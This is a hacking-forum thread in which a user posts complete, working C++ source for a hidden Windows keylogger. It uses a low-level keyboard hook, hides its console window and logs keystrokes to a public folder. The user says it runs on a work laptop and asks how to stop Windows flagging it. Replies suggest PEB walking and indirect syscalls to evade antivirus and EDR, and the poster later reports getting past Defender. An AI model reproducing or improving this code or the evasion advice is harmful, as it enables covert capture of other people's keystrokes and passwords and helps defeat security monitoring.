

Forum:[Hack Forums](#)

Thread: [Keylog c++](#)

pepeg - July 8, 2026, 3:21 am

i implemented this code for my laptot at work so i can record my keygrabbing per session and save it on public directory, but windows throw an exception since is recorded as suspicios by sys32 of windows. I thought about writing it on c++98 to not implement certain libraries and save more memory for my cpu. any ideas so windows let me run it on the background without being suspicios? thanks <3.

kl.cpp:

```
#include <iostream>
#include <fstream>
#include <windows.h>
```

```
const char* archivoLog = "C:\\Users\\Public\\keylog.txt";
```

```
HHOOK hKeyboardHook;
```

```
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;
        DWORD vkCode = pKeyBoard->vkCode;
```

```
        std::ofstream file(archivoLog, std::ios::app);
        if (file.is_open()) {
            if (vkCode == VK_SPACE)
                file << " ";
            else if (vkCode == VK_RETURN)
                file << "\n";
            else if (vkCode == VK_BACK)
                file << "[BACKSPACE]";
            else {
                char c = MapVirtualKey(vkCode, MAPVK_VK_TO_CHAR);
                if (c >= 32 && c <= 126) {
                    bool shift = GetKeyState(VK_SHIFT) & 0x8000;
                    if (!shift)
                        c = tolower(c);
                    file << c;
                }
            }
            file.close();
        }
    }
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
```

```
void ejecutarKeylogger() {
```

```

ShowWindow(GetConsoleWindow(), SW_HIDE);

hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hKeyboardHook == NULL) return;

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}
UnhookWindowsHookEx(hKeyboardHook);
}

int main() {
    ejecutarKeylogger();
    return 0;
}

```

DramaKing - July 8, 2026, 6:14 am

Those APIs are going to be seen as suspicious. If you use techniques like PEB walking or indirect syscalls, AV might not notice ... at first. And if there's EDR, it reports everything.

pepeg - July 8, 2026, 8:56 am

(Jul 8, 2026 06:14 AM)DramaKing Wrote: [CITE](#) Those APIs are going to be seen as suspicious. If you use techniques like PEB walking or indirect syscalls, AV might not notice ... at first. And if there's EDR, it reports everything.

so what do u recommend to avoid that windows protection? or at least to not have problems with it?

hiskill - July 14, 2026, 4:40 am

you may use indirect syscalls, you may have at least intermediate knowledge at how windows EDR works

pepeg - October 19, 2026, 4:20 pm

i know nobody will care, but achieve to did it weeks ago avoiding windows defender